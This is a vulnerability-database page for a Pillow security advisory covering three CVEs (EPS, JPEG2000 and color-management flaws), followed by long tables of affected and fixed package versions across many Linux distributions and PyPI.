It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)

It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)

It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)

Record
USN-8999-1
Updated
2026-11-05

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pillow
PyPI
before 12.3.0
12.3.0
pillow
Bitnami
before 12.3.0
12.3.0
pillow
TuxCare:PyPI
From an advisory covering 5 CVEs
11.2.1 up to 11.2.1.post3+tuxcare, plus listed versions
11.2.1.post1+tuxcare11.2.1.post2+tuxcare
11.2.1.post3+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 2 CVEs
10.4.0 up to 10.4.0.post9+tuxcare, plus listed versions
10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare10.4.0.post6+tuxcare10.4.0.post7+tuxcare10.4.0.post8+tuxcare
10.4.0.post9+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 14 CVEs
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions
11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare
11.3.0.post5+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 2 CVEs
9.5.0 up to 9.5.0.post7+tuxcare, plus listed versions
9.5.0.post1+tuxcare9.5.0.post2+tuxcare9.5.0.post3+tuxcare9.5.0.post4+tuxcare9.5.0.post5+tuxcare9.5.0.post6+tuxcare
9.5.0.post7+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 4 CVEs
9.4.0 up to 9.4.0.post8+tuxcare, plus listed versions
9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare9.4.0.post5+tuxcare9.4.0.post6+tuxcare9.4.0.post7+tuxcare
9.4.0.post8+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 8 CVEs
8.4.0 up to 8.4.0.post8+tuxcare, plus listed versions
8.4.0.post1+tuxcare8.4.0.post2+tuxcare8.4.0.post3+tuxcare8.4.0.post4+tuxcare8.4.0.post5+tuxcare8.4.0.post6+tuxcare8.4.0.post7+tuxcare
8.4.0.post8+tuxcare
pillow
Debian:12
All versions, plus listed versions
10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2
Show 19 moreShow less
10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1
None known
pillow
Debian:13
All versions, plus listed versions
11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4
Show 9 moreShow less
11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1
None known
Show 35 moreShow less
Affected packages
PackageAffectedFixed
pillow
Debian:14
before 12.3.0-1, plus listed versions
11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-1
12.3.0-1
pillow
PyPI
before 12.3.0, plus listed versions
1.01.11.21.31.4
Show 45 moreShow less
1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.12.8.2
12.3.0
python-pillow
Mageia:10
From an advisory covering 11 CVEs
before 12.3.0-1.mga10
12.3.0-1.mga10
python-pillow
openEuler:24.03-LTS-SP3
From an advisory covering 5 CVEs
before 10.3.0-13.oe2403sp3
10.3.0-13.oe2403sp3
python-pillow
openEuler:24.03-LTS-SP4
From an advisory covering 5 CVEs
before 10.3.0-13.oe2403sp4
10.3.0-13.oe2403sp4
python-pillow
openEuler:20.03-LTS-SP4
From an advisory covering 4 CVEs
before 9.0.1-16.oe2003sp4
9.0.1-16.oe2003sp4
python-pillow
openEuler:22.03-LTS-SP4
From an advisory covering 4 CVEs
before 9.0.1-16.oe2203sp4
9.0.1-16.oe2203sp4
python-pillow
openEuler:24.03-LTS-SP1
From an advisory covering 5 CVEs
before 10.3.0-13.oe2403sp1
10.3.0-13.oe2403sp1
pillow
Root:PyPI
before 10.4.0+aikido.9
10.4.0+aikido.912.2.0+aikido.411.1.0+aikido.1010.4.0+aikido.1011.0.0+aikido.911.2.1+aikido.59.5.0+aikido.1112.2.0+aikido.59.3.0+aikido.1310.4.0+aikido.1112.1.0+aikido.1211.2.1+aikido.611.1.0+aikido.1110.3.0+aikido.1311.0.0+aikido.1011.2.1+aikido.79.3.0+aikido.1411.1.0+aikido.129.5.0+aikido.1212.2.0+aikido.610.4.0+aikido.129.3.0+aikido.1511.1.0+aikido.1312.1.0+aikido.1310.3.0+aikido.1411.0.0+aikido.119.3.0+aikido.1610.3.0+aikido.1510.4.0+aikido.139.3.0+aikido.179.5.0+aikido.1311.2.1+aikido.811.0.0+aikido.1211.1.0+aikido.1412.1.0+aikido.1412.2.0+aikido.710.3.0+aikido.1610.4.0+aikido.1411.1.0+aikido.1511.2.1+aikido.910.2.0+aikido.112.2.0+aikido.89.0.1+aikido.110.4.0+aikido.1512.1.0+aikido.159.0.1+aikido.210.3.0+aikido.178.0.1+aikido.111.0.0+aikido.139.5.0+aikido.148.1.2+aikido.18.0.1+aikido.210.4.0+aikido.1610.0.0+aikido.110.3.0+aikido.1810.2.0+aikido.210.3.0+aikido.1910.4.0+aikido.1710.3.0+aikido.208.2.0+aikido.19.4.0+aikido.19.0.0+aikido.19.0.0+aikido.211.0.0+aikido.1412.2.0+aikido.99.5.0+aikido.159.5.0+aikido.169.5.0+aikido.179.5.0+aikido.189.5.0+aikido.1910.4.0+aikido.18
python-Pillow
SUSE:Linux Enterprise Server 16.0
From an advisory covering 7 CVEs
before 11.3.0-160000.8.1
11.3.0-160000.8.1
python-Pillow
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 7 CVEs
before 11.3.0-160000.8.1
11.3.0-160000.8.1
python-Pillow
SUSE:Linux Enterprise Module for Package Hub 15 SP7
From an advisory covering 7 CVEs
before 7.2.0-150300.3.30.1
7.2.0-150300.3.30.1
python-Pillow
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
pillow
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4
Show 12 moreShow less
2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5
None known
pillow
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1
Show 9 moreShow less
3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3
None known
pillow
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2
Show 8 moreShow less
5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2
None known
pillow
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1
Show 10 moreShow less
7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1
None known
pillow-python2
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2
None known
pillow
Ubuntu:22.04:LTS
before 9.0.1-1ubuntu0.6, plus listed versions
8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1
Show 4 moreShow less
9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5
9.0.1-1ubuntu0.6
pillow
Ubuntu:24.04:LTS
before 10.2.0-1ubuntu1.4, plus listed versions
10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3
10.2.0-1ubuntu1.4
pillow
Ubuntu:26.04:LTS
before 12.1.1-2ubuntu1.4, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3
12.1.1-2ubuntu1.4
pillow
Ubuntu:22.04:LTS
From an advisory covering 11 CVEs
before 9.0.1-1ubuntu0.6, plus listed versions
8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1
Show 4 moreShow less
9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5
9.0.1-1ubuntu0.6
pillow
Ubuntu:24.04:LTS
From an advisory covering 11 CVEs
before 10.2.0-1ubuntu1.4, plus listed versions
10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3
10.2.0-1ubuntu1.4
pillow
Ubuntu:26.04:LTS
From an advisory covering 11 CVEs
before 12.1.1-2ubuntu1.4, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3
12.1.1-2ubuntu1.4
python-Pillow
openSUSE:Leap 16.0
From an advisory covering 7 CVEs
before 11.3.0-160000.8.1
11.3.0-160000.8.1

History

History
RecordedChangedSources
affectedOSV
affected
affectedOSV
affected, aliases, referencesOSV
affectedOSV
affectedOSV
affected, factsOSV
affectedOSV
affectedOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59205 is a high vulnerability (CVSS 7.5) in Python Pillow, published July 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 32nd percentile. Fixed in pillow 12.3.0.

References

Show 56 moreShow less
This page doesn't list everything

Left out here: 56 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open